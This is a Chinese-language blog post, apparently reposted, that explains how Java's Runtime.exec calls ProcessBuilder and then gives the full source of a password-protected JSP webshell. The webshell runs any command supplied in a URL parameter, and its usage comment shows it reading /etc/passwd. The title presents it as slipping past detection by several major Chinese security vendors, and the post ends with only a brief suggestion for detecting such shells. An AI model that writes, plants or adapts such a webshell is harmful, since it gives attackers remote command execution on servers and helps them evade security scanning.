淺析JAVA Runtime原理與過各大廠商免殺webshell制作


Author:Sevck

Date:2017年6月24日

昨天在網絡尖刀老年活動中心群里,忽然想到一個問題,就是JAVA在運行Runtime執行命令的時候會不會調用bash,因為php等語言會調用bash進行命令:

我:JAVA在執行命令的時候會不會調用bash?
Feng : processbuilder 我: /** * Executes the specified command and arguments in a separate process. * */ public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } 我 : 只有 Runtime.exec("/bin/bash xxxxx")才調bash

好奇JAVA的Runtime是如何實現的,去翻閱JAVA源碼查看實現方法:

Runtime執行實例:

Runtime.getRuntime().exec("TODO");

實現代碼(文件代碼:java/lang/Runtime.java 346 行):

// 方法1
public
Process exec(String command) throws IOException { return exec(command, null, null); } // 方法2 public Process exec(String command, String[] envp) throws IOException { return exec(command, envp, null); } // 方法3 public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } // 方法4 public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } // 方法5 public Process exec(String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null); // 方法6 public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); } }

從上面可以看出幾個重要的信息:

  1. 方法1和方法2調用的是方法3
  2. 方法3調用的是方法6
  3. 方法4和方法5調用的也是方法6
  4. 方法6創建了一個ProcessBuilder對象

至此,是Runtime.getRuntime().exec("TODO")的實現原理,但是還是沒有詳細的解釋清楚是如何實現的,只是說調用了ProcessBuilder類。

ProcessBuilder是J2SE 1.5之后新增的類,此類用於創建操作系統進程,它提供一種啟動和管理進程(也就是應用程序)的方法。在J2SE 1.5之前,都是由Process類處來實現進程的控制管理。

Process和ProcessBuilder的關系:

每個 ProcessBuilder 實例管理一個進程屬性集。它的start() 方法利用這些屬性創建一個新的 Process 實例。start() 方法可以從同一實例重復調用,以利用相同的或相關的屬性創建新的子進程。

ProcessBuilder為進程提供了更多的控制,例如,可以設置當前工作目錄,還可以改變環境參數。而Process的功能相對來說簡單的多。
ProcessBuilder是一個final類,有兩個帶參數的構造方法,你可以通過構造方法來直接創建ProcessBuilder的對象。而Process是一個抽象類,一般都通過Runtime.exec()和ProcessBuilder.start()來間接創建其實例。

ProcessBuilder:

  java.lang.ProcessBuilder,父類Object.

源碼ProcessBuilder類的注釋:

  • This class is used to create operating system processes.
  • Each ProcessBuilder instance manages a collection of process attributes.
  • The start() method creates a new Process instance with those attributes.
  • The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

真對該類有更詳細的解釋,詳情請看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

所以,在執行Runtime的時候或者執行Process再者ProcessBuilder都是在進程中執行的,所以也不會調用bash。

除非一些webshell在調用執行命令的時候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

利用ProcessBuilder簡單寫一個webshell:

<%--
  Created by IntelliJ IDEA.
  User: sevck
  Date: 2017/6/24
  Time: 10:06
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.Process" %>
<html>
<head>
    <title>jsp shell file</title>
</head>

<body>
<%
    /*
    Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
     */
    // Verify OS Windows or Linux
    String os = System.getProperty("os.name");
    if(os.toLowerCase().startsWith("win")){
        out.print("windows");
    }else{
        out.print("Linux");
    }
    if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
        // Request Parameter cmd  contents conversion String to Strings args.
        String command = request.getParameter("cmd");
        String [] args = command.split("@");
        try {
            // Create Process In the process, the received parameter is an array.
            ProcessBuilder pb = new ProcessBuilder(args);
            // Setup Process Output Result (Normal and Error)
            pb.redirectErrorStream(true);
            // Start Process
            Process pro = pb.start();
        }catch (Exception e){
            // TODO
            String error =e.getMessage();
        }
    }else {
        out.print("業務測試");
    }
%>
</body>
</html>
這樣,這個webshell就達到了任意命令執行:


我們利用這個測試一下各大廠商查殺效果:
360:

騰訊:

D盾:

安全狗:

微步在線:

檢測與遐想:
Audit可以審計每個進程,那么Audit檢測JAVA啟動的進程是否為異常進程,例如:執行惡意二進制,查看修改文件等。
或者從JVM進行監控。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM